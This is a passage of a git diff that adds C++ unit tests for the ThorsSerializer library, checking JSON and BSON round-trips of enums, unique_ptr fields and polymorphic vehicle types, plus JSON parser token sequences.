ThorsAnvil::Serialize::bsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::bsonExporter(test, false); + + std::string result = output.str(); + EXPECT_EQ(input, result); +} diff --git a/Extern/include/ThorsSerializer/test/Issue42Test.cpp b/Extern/include/ThorsSerializer/test/Issue42Test.cpp new file mode 100644 index 0000000..5e95997 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/Issue42Test.cpp @@ -0,0 +1,69 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "test/SerializeTest.h" +#include "Serialize.h" +#include "Traits.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include +#include + + +using namespace std::string_literals; +using namespace ThorsAnvil::Serialize; +using namespace std; + +namespace Issue42Test +{ +struct BaseVehicle { + std::unique_ptr isPreloaded { nullptr }; + virtual ~BaseVehicle() = default; + ThorsAnvil_PolyMorphicSerializer(Issue42Test::BaseVehicle); +}; + +struct Vehicle : public BaseVehicle { + std::unique_ptr id { nullptr }; + ThorsAnvil_PolyMorphicSerializer(Issue42Test::Vehicle); +}; + +struct Fleet { + //! The list of vehicles. + std::unique_ptr>> vehicles { nullptr }; +}; + +} + +ThorsAnvil_MakeTrait(Issue42Test::BaseVehicle, isPreloaded); +ThorsAnvil_ExpandTrait(Issue42Test::BaseVehicle, Issue42Test::Vehicle, id); +ThorsAnvil_MakeTrait(Issue42Test::Fleet, vehicles); + +TEST(Issue42Test, JsonPointerUniquePtrMultiple) +{ + Issue42Test::Fleet test {}; + string str = R"( {"vehicles":[ + { + "__type": "Issue42Test::Vehicle", + "id":0 + } + ]})"; + istringstream stream(str); + stream >> ThorsAnvil::Serialize::jsonImporter(test, false); +} +TEST(Issue42Test, BsonPointerUniquePtrMultiple) +{ + Issue42Test::Fleet test {}; + //string str = R"( {"vehicles":[ { "__type": "Issue42Test::Vehicle", "id":0 } ]})"; + std::string str = "\x45\x00\x00\x00" + "\x04" "vehicles\x00" + "\x36\x00\x00\x00"//54 + "\x03" "0\x00" + "\x2E\x00\x00\x00" + "\x02" "__type\x00" "\x15\x00\x00\x00" "Issue42Test::Vehicle\x00" + "\x10" "id\x00" "\x00\x00\x00\x00" + "\x00" + "\x00" + "\x00"s; + istringstream stream(str); + stream >> ThorsAnvil::Serialize::bsonImporter(test, false); +} diff --git a/Extern/include/ThorsSerializer/test/Issue49Test.cpp b/Extern/include/ThorsSerializer/test/Issue49Test.cpp new file mode 100644 index 0000000..6de56d1 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/Issue49Test.cpp @@ -0,0 +1,223 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "test/SerializeTest.h" +#include "Serialize.h" +#include "Traits.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include +#include + + +using namespace std::string_literals; +using namespace ThorsAnvil::Serialize; +using namespace std; + +namespace Issue49 +{ + enum class FloatFormat {scientific = 1,fixed = 2,hex = 4,general = fixed | scientific}; +} +ThorsAnvil_MakeEnum(Issue49::FloatFormat, scientific, fixed, hex, general); + +TEST(Issue49Test, JsonStreamScientific) +{ + std::stringstream stream; + + Issue49::FloatFormat testData = Issue49::FloatFormat::scientific; + stream << ThorsAnvil::Serialize::jsonExporter(testData, false); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ("\"scientific\"", result); +} +TEST(Issue49Test, JsonStreamFixed) +{ + std::stringstream stream; + + Issue49::FloatFormat testData = Issue49::FloatFormat::fixed; + stream << ThorsAnvil::Serialize::jsonExporter(testData, false); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ("\"fixed\"", result); +} +TEST(Issue49Test, JsonStreamHex) +{ + std::stringstream stream; + + Issue49::FloatFormat testData = Issue49::FloatFormat::hex; + stream << ThorsAnvil::Serialize::jsonExporter(testData, false); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ("\"hex\"", result); +} +TEST(Issue49Test, JsonStreamGeneral) +{ + std::stringstream stream; + + Issue49::FloatFormat testData = Issue49::FloatFormat::general; + stream << ThorsAnvil::Serialize::jsonExporter(testData, false); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ("\"general\"", result); +} +TEST(Issue49Test, JsonImportScientific) +{ + std::string input = R"("scientific")"; + std::stringstream stream(input); + + Issue49::FloatFormat testData = Issue49::FloatFormat::general; + stream >> ThorsAnvil::Serialize::jsonImporter(testData, false); + + EXPECT_EQ(Issue49::FloatFormat::scientific, testData); +} +TEST(Issue49Test, JsonImportFixed) +{ + std::string input = R"("fixed")"; + std::stringstream stream(input); + + Issue49::FloatFormat testData = Issue49::FloatFormat::general; + stream >> ThorsAnvil::Serialize::jsonImporter(testData, false); + + EXPECT_EQ(Issue49::FloatFormat::fixed, testData); +} +TEST(Issue49Test, JsonImportHex) +{ + std::string input = R"("hex")"; + std::stringstream stream(input); + + Issue49::FloatFormat testData = Issue49::FloatFormat::general; + stream >> ThorsAnvil::Serialize::jsonImporter(testData, false); + + EXPECT_EQ(Issue49::FloatFormat::hex, testData); +} +TEST(Issue49Test, JsonImportGeneral) +{ + std::string input = R"("general")"; + std::stringstream stream(input); + + Issue49::FloatFormat testData = Issue49::FloatFormat::scientific; + stream >> ThorsAnvil::Serialize::jsonImporter(testData, false); + + EXPECT_EQ(Issue49::FloatFormat::general, testData); +} + +TEST(Issue49Test, BsonStreamScientific) +{ + std::stringstream stream; + + Issue49::FloatFormat testData = Issue49::FloatFormat::scientific; + stream << ThorsAnvil::Serialize::bsonExporter(testData, false); + + std::string result = stream.str(); + + EXPECT_EQ(result, "\x17\x00\x00\x00" + "\x02" "0\x00" "\x0B\x00\x00\x00" "scientific\x00" + "\x00"s); + //EXPECT_EQ("\"scientific\"", result); +} +TEST(Issue49Test, BsonStreamFixed) +{ + std::stringstream stream; + + Issue49::FloatFormat testData = Issue49::FloatFormat::fixed; + stream << ThorsAnvil::Serialize::bsonExporter(testData, false); + + std::string result = stream.str(); + + EXPECT_EQ(result, "\x12\x00\x00\x00" + "\x02" "0\x00" "\x06\x00\x00\x00" "fixed\x00" + "\x00"s); + //EXPECT_EQ("\"fixed\"", result); +} +TEST(Issue49Test, BsonStreamHex) +{ + std::stringstream stream; + + Issue49::FloatFormat testData = Issue49::FloatFormat::hex; + stream << ThorsAnvil::Serialize::bsonExporter(testData, false); + + std::string result = stream.str(); + + EXPECT_EQ(result, "\x10\x00\x00\x00" + "\x02" "0\x00" "\x04\x00\x00\x00" "hex\x00" + "\x00"s); + //EXPECT_EQ("\"hex\"", result); +} +TEST(Issue49Test, BsonStreamGeneral) +{ + std::stringstream stream; + + Issue49::FloatFormat testData = Issue49::FloatFormat::general; + stream << ThorsAnvil::Serialize::bsonExporter(testData, false); + + std::string result = stream.str(); + + EXPECT_EQ(result, "\x14\x00\x00\x00" + "\x02" "0\x00" "\x08\x00\x00\x00" "general\x00" + "\x00"s); + //EXPECT_EQ("\"general\"", result); +} +TEST(Issue49Test, BsonImportScientific) +{ + //std::string input = R"("scientific")"; + std::string input = "\x17\x00\x00\x00" + "\x02" "0\x00" "\x0B\x00\x00\x00" "scientific\x00" + "\x00"s; + std::stringstream stream(input); + + Issue49::FloatFormat testData = Issue49::FloatFormat::general; + stream >> ThorsAnvil::Serialize::bsonImporter(testData, false); + + EXPECT_EQ(Issue49::FloatFormat::scientific, testData); +} +TEST(Issue49Test, BsonImportFixed) +{ + //std::string input = R"("fixed")"; + std::string input = "\x12\x00\x00\x00" + "\x02" "0\x00" "\x06\x00\x00\x00" "fixed\x00" + "\x00"s; + std::stringstream stream(input); + + Issue49::FloatFormat testData = Issue49::FloatFormat::general; + stream >> ThorsAnvil::Serialize::bsonImporter(testData, false); + + EXPECT_EQ(Issue49::FloatFormat::fixed, testData); +} +TEST(Issue49Test, BsonImportHex) +{ + //std::string input = R"("hex")"; + std::string input = "\x10\x00\x00\x00" + "\x02" "0\x00" "\x04\x00\x00\x00" "hex\x00" + "\x00"s; + std::stringstream stream(input); + + Issue49::FloatFormat testData = Issue49::FloatFormat::general; + stream >> ThorsAnvil::Serialize::bsonImporter(testData, false); + + EXPECT_EQ(Issue49::FloatFormat::hex, testData); +} +TEST(Issue49Test, BsonImportGeneral) +{ + //std::string input = R"("general")"; + std::string input = "\x14\x00\x00\x00" + "\x02" "0\x00" "\x08\x00\x00\x00" "general\x00" + "\x00"s; + std::stringstream stream(input); + + Issue49::FloatFormat testData = Issue49::FloatFormat::scientific; + stream >> ThorsAnvil::Serialize::bsonImporter(testData, false); + + EXPECT_EQ(Issue49::FloatFormat::general, testData); +} + + + + diff --git a/Extern/include/ThorsSerializer/test/Issue50Test.cpp b/Extern/include/ThorsSerializer/test/Issue50Test.cpp new file mode 100644 index 0000000..c47919e --- /dev/null +++ b/Extern/include/ThorsSerializer/test/Issue50Test.cpp @@ -0,0 +1,342 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "test/SerializeTest.h" +#include "Serialize.h" +#include "Serialize.tpp" +#include "Traits.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include +#include +#include + +using namespace std::string_literals; + +namespace Issue50Test +{ +struct Vehicle +{ + Vehicle(){} + Vehicle(int speed) + : speed(speed) + {} + int speed; + ThorsAnvil_PolyMorphicSerializer(Issue50Test::Vehicle); +}; +struct Car: public Vehicle +{ + Car(){} + Car(int speed, std::string const& make) + : Vehicle(speed) + , make(make) + {} + std::string make; + ThorsAnvil_PolyMorphicSerializer(Issue50Test::Car); +}; +struct Bike: public Vehicle +{ + Bike(){} + Bike(int speed, int stroke) + : Vehicle(speed) + , stroke(stroke) + {} + int stroke; + ThorsAnvil_PolyMorphicSerializer(Issue50Test::Bike); +}; +struct User +{ + int age; + Vehicle* transport; +}; +} + +ThorsAnvil_MakeTrait(Issue50Test::Vehicle, speed); +ThorsAnvil_ExpandTrait(Issue50Test::Vehicle, Issue50Test::Car, make); +ThorsAnvil_ExpandTrait(Issue50Test::Vehicle, Issue50Test::Bike, stroke); +ThorsAnvil_MakeTrait(Issue50Test::User, age, transport); + +TEST(Issue50Test, JsonNullPointer) +{ + using namespace std::string_literals; + + Issue50Test::User user1{10, nullptr}; + + std::stringstream data; + data << ThorsAnvil::Serialize::jsonExporter(user1, "$type"s); + std::string result = data.str(); + + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){ return std::isspace(x);}), std::end(result)); + EXPECT_EQ(result, R"({"age":10,"transport":null})"); +} +TEST(Issue50Test, JsonVehiclePointer) +{ + using namespace std::string_literals; + + Issue50Test::User user1{10, new Issue50Test::Vehicle(12)}; + + std::stringstream data; + data << ThorsAnvil::Serialize::jsonExporter(user1, "$type"s); + std::string result = data.str(); + + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){ return std::isspace(x);}), std::end(result)); + EXPECT_EQ(result, R"({"age":10,"transport":{"$type":"Issue50Test::Vehicle","speed":12}})"); +} +TEST(Issue50Test, JsonCarPointer) +{ + using namespace std::string_literals; + + Issue50Test::User user1{10, new Issue50Test::Car(16, "Turbo")}; + + std::stringstream data; + data << ThorsAnvil::Serialize::jsonExporter(user1, "$type"s); + std::string result = data.str(); + + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){ return std::isspace(x);}), std::end(result)); + EXPECT_EQ(result, R"({"age":10,"transport":{"$type":"Issue50Test::Car","speed":16,"make":"Turbo"}})"); +} + +TEST(Issue50Test, JsonBikePointer) +{ + using namespace std::string_literals; + + Issue50Test::User user1{10, new Issue50Test::Bike(18, 7)}; + + std::stringstream data; + data << ThorsAnvil::Serialize::jsonExporter(user1, "$type"s); + std::string result = data.str(); + + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){ return std::isspace(x);}), std::end(result)); + EXPECT_EQ(result, R"({"age":10,"transport":{"$type":"Issue50Test::Bike","speed":18,"stroke":7}})"); +} + +TEST(Issue50Test, JsonReadNull) +{ + using namespace std::string_literals; + + std::stringstream stream(R"({"age":10,"transport":null})"); + Issue50Test::User user1 {12, new Issue50Test::Vehicle(12)}; + + stream >> ThorsAnvil::Serialize::jsonImporter(user1, "$type"s); + EXPECT_EQ(user1.age, 10); + EXPECT_EQ(user1.transport, nullptr); +} + +TEST(Issue50Test, JsonReadVehicle) +{ + using namespace std::string_literals; + + std::stringstream stream(R"({"age":10,"transport":{"$type":"Issue50Test::Vehicle","speed":12}})"); + Issue50Test::User user1 {12, new Issue50Test::Vehicle(13)}; + + stream >> ThorsAnvil::Serialize::jsonImporter(user1, "$type"s); + EXPECT_EQ(user1.age, 10); + ASSERT_NE(user1.transport, nullptr); + EXPECT_EQ(user1.transport->speed, 12); +} + +TEST(Issue50Test, JsonReadCar) +{ + using namespace std::string_literals; + + std::stringstream stream(R"({"age":10,"transport":{"$type":"Issue50Test::Car","speed":16,"make":"Turbo"}})"); + Issue50Test::User user1 {12, new Issue50Test::Vehicle(14)}; + + stream >> ThorsAnvil::Serialize::jsonImporter(user1, "$type"s); + EXPECT_EQ(user1.age, 10); + ASSERT_NE(user1.transport, nullptr); + EXPECT_EQ(user1.transport->speed, 16); + + Issue50Test::Car* car = dynamic_cast(user1.transport); + ASSERT_NE(car, nullptr); + EXPECT_EQ(car->make, "Turbo"); +} + +TEST(Issue50Test, JsonReadBike) +{ + using namespace std::string_literals; + + std::stringstream stream(R"({"age":10,"transport":{"$type":"Issue50Test::Bike","speed":18,"stroke":7}})"); + Issue50Test::User user1 {12, new Issue50Test::Vehicle(15)}; + + stream >> ThorsAnvil::Serialize::jsonImporter(user1, "$type"s); + EXPECT_EQ(user1.age, 10); + ASSERT_NE(user1.transport, nullptr); + EXPECT_EQ(user1.transport->speed, 18); + + Issue50Test::Bike* bike = dynamic_cast(user1.transport); + ASSERT_NE(bike, nullptr); + EXPECT_EQ(bike->stroke, 7); +} +TEST(Issue50Test, BsonNullPointer) +{ + using namespace std::string_literals; + + Issue50Test::User user1{10, nullptr}; + + std::stringstream data; + data << ThorsAnvil::Serialize::bsonExporter(user1, "$type"s); + std::string result = data.str(); + + EXPECT_EQ(result, "\x19\x00\x00\x00" + "\x10" "age\x00" "\x0A\x00\x00\x00" + "\x0A" "transport\x00" + "\x00"s); + //EXPECT_EQ(result, R"({"age":10,"transport":null})"); +} +TEST(Issue50Test, BsonVehiclePointer) +{ + using namespace std::string_literals; + + Issue50Test::User user1{10, new Issue50Test::Vehicle(12)}; + + std::stringstream data; + data << ThorsAnvil::Serialize::bsonExporter(user1, "$type"s); + std::string result = data.str(); + + EXPECT_EQ(result, "\x49\x00\x00\x00" + "\x10" "age\x00" "\x0A\x00\x00\x00" + "\x03" "transport\x00" + "\x30\x00\x00\x00" + "\x02" "$type\x00" "\x15\x00\x00\x00" "Issue50Test::Vehicle\x00" + "\x10" "speed\x00" "\x0C\x00\x00\x00" + "\x00" + "\x00"s); + //EXPECT_EQ(result, R"({"age":10,"transport":{"$type":"Issue50Test::Vehicle","speed":12}})"); +} +TEST(Issue50Test, BsonCarPointer) +{ + using namespace std::string_literals; + + Issue50Test::User user1{10, new Issue50Test::Car(16, "Turbo")}; + + std::stringstream data; + data << ThorsAnvil::Serialize::bsonExporter(user1, "$type"s); + std::string result = data.str(); + + EXPECT_EQ(result, "\x55\x00\x00\x00" + "\x10" "age\x00" "\x0A\x00\x00\x00" + "\x03" "transport\x00" + "\x3c\x00\x00\x00" + "\x02" "$type\x00" "\x11\x00\x00\x00" "Issue50Test::Car\x00" + "\x10" "speed\x00" "\x10\x00\x00\x00" + "\x02" "make\x00" "\x06\x00\x00\x00" "Turbo\x00" + "\x00" + "\x00"s); + //EXPECT_EQ(result, R"({"age":10,"transport":{"$type":"Issue50Test::Car","speed":16,"make":"Turbo"}})"); +} + +TEST(Issue50Test, BsonBikePointer) +{ + using namespace std::string_literals; + + Issue50Test::User user1{10, new Issue50Test::Bike(18, 7)}; + + std::stringstream data; + data << ThorsAnvil::Serialize::bsonExporter(user1, "$type"s); + std::string result = data.str(); + + EXPECT_EQ(result, "\x52\x00\x00\x00" + "\x10" "age\x00" "\x0A\x00\x00\x00" + "\x03" "transport\x00" + "\x39\x00\x00\x00" + "\x02" "$type\x00" "\x12\x00\x00\x00" "Issue50Test::Bike\x00" + "\x10" "speed\x00" "\x12\x00\x00\x00" + "\x10" "stroke\x00" "\x07\x00\x00\x00" + "\x00" + "\x00"s); + //EXPECT_EQ(result, R"({"age":10,"transport":{"$type":"Issue50Test::Bike","speed":18,"stroke":7}})"); +} + +TEST(Issue50Test, BsonReadNull) +{ + using namespace std::string_literals; + + //std::stringstream stream(R"({"age":10,"transport":null})"); + std::string input = "\x19\x00\x00\x00" + "\x10" "age\x00" "\x0A\x00\x00\x00" + "\x0A" "transport\x00" + "\x00"s; + std::stringstream stream(input); + Issue50Test::User user1 {12, new Issue50Test::Vehicle(12)}; + + stream >> ThorsAnvil::Serialize::bsonImporter(user1, "$type"s); + EXPECT_EQ(user1.age, 10); + EXPECT_EQ(user1.transport, nullptr); +} + +TEST(Issue50Test, BsonReadVehicle) +{ + using namespace std::string_literals; + + //std::stringstream stream(R"({"age":10,"transport":{"$type":"Issue50Test::Vehicle","speed":12}})"); + std::string input = "\x49\x00\x00\x00" + "\x10" "age\x00" "\x0A\x00\x00\x00" + "\x03" "transport\x00" + "\x30\x00\x00\x00" + "\x02" "$type\x00" "\x15\x00\x00\x00" "Issue50Test::Vehicle\x00" + "\x10" "speed\x00" "\x0C\x00\x00\x00" + "\x00" + "\x00"s; + std::stringstream stream(input); + Issue50Test::User user1 {12, new Issue50Test::Vehicle(13)}; + + stream >> ThorsAnvil::Serialize::bsonImporter(user1, "$type"s); + EXPECT_EQ(user1.age, 10); + ASSERT_NE(user1.transport, nullptr); + EXPECT_EQ(user1.transport->speed, 12); +} + +TEST(Issue50Test, BsonReadCar) +{ + using namespace std::string_literals; + + //std::stringstream stream(R"({"age":10,"transport":{"$type":"Issue50Test::Car","speed":16,"make":"Turbo"}})"); + std::string input = "\x55\x00\x00\x00" + "\x10" "age\x00" "\x0A\x00\x00\x00" + "\x03" "transport\x00" + "\x3c\x00\x00\x00" + "\x02" "$type\x00" "\x11\x00\x00\x00" "Issue50Test::Car\x00" + "\x10" "speed\x00" "\x10\x00\x00\x00" + "\x02" "make\x00" "\x06\x00\x00\x00" "Turbo\x00" + "\x00" + "\x00"s; + std::stringstream stream(input); + Issue50Test::User user1 {12, new Issue50Test::Vehicle(14)}; + + stream >> ThorsAnvil::Serialize::bsonImporter(user1, "$type"s); + EXPECT_EQ(user1.age, 10); + ASSERT_NE(user1.transport, nullptr); + EXPECT_EQ(user1.transport->speed, 16); + + Issue50Test::Car* car = dynamic_cast(user1.transport); + ASSERT_NE(car, nullptr); + EXPECT_EQ(car->make, "Turbo"); +} + +TEST(Issue50Test, BsonReadBike) +{ + using namespace std::string_literals; + + //std::stringstream stream(R"({"age":10,"transport":{"$type":"Issue50Test::Bike","speed":18,"stroke":7}})"); + std::string input = "\x52\x00\x00\x00" + "\x10" "age\x00" "\x0A\x00\x00\x00" + "\x03" "transport\x00" + "\x39\x00\x00\x00" + "\x02" "$type\x00" "\x12\x00\x00\x00" "Issue50Test::Bike\x00" + "\x10" "speed\x00" "\x12\x00\x00\x00" + "\x10" "stroke\x00" "\x07\x00\x00\x00" + "\x00" + "\x00"s; + std::stringstream stream(input); + Issue50Test::User user1 {12, new Issue50Test::Vehicle(15)}; + + stream >> ThorsAnvil::Serialize::bsonImporter(user1, "$type"s); + EXPECT_EQ(user1.age, 10); + ASSERT_NE(user1.transport, nullptr); + EXPECT_EQ(user1.transport->speed, 18); + + Issue50Test::Bike* bike = dynamic_cast(user1.transport); + ASSERT_NE(bike, nullptr); + EXPECT_EQ(bike->stroke, 7); +} + diff --git a/Extern/include/ThorsSerializer/test/JsonParserTest.cpp b/Extern/include/ThorsSerializer/test/JsonParserTest.cpp new file mode 100644 index 0000000..31e5d9d --- /dev/null +++ b/Extern/include/ThorsSerializer/test/JsonParserTest.cpp @@ -0,0 +1,1159 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonParser.h" + +// enum class ParserToken {Error, DocStart, DocEnd, MapStart, MapEnd, ArrayStart, ArrayEnd, Key, Value}; + +namespace TA=ThorsAnvil::Serialize; +using TA::ParserInterface; + +TEST(JsonParserTest, ArrayEmpty) +{ + std::stringstream stream("[]"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(JsonParserTest, ArrayOneValue) +{ + std::stringstream stream("[12]"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(JsonParserTest, ArrayTwoValue) +{ + std::stringstream stream("[12,13]"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(JsonParserTest, ArrayThreeValue) +{ + std::stringstream stream("[12,13,14]"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(JsonParserTest, ArrayWithArray) +{ + std::stringstream stream("[[]]"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(JsonParserTest, ArrayWithTwoArray) +{ + std::stringstream stream("[[],[]]"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(JsonParserTest, ArrayWithMap) +{ + std::stringstream stream("[{}]"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(JsonParserTest, ArrayWithTwoMap) +{ + std::stringstream stream("[{},{}]"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(JsonParserTest, MapEmpty) +{ + std::stringstream stream("{}"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(JsonParserTest, MapOneValue) +{ + std::stringstream stream(R"({"One": 12})"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(JsonParserTest, MapTwoValue) +{ + std::stringstream stream(R"({"one": 12, "two": 13})"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(JsonParserTest, MapThreeValue) +{ + std::stringstream stream(R"({"one":12, "two": 13, "three": 14})"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(JsonParserTest, MapWithArray) +{ + std::stringstream stream(R"({"one": []})"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(JsonParserTest, MapWithTwoArray) +{ + std::stringstream stream(R"({"one": [], "two": []}])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + 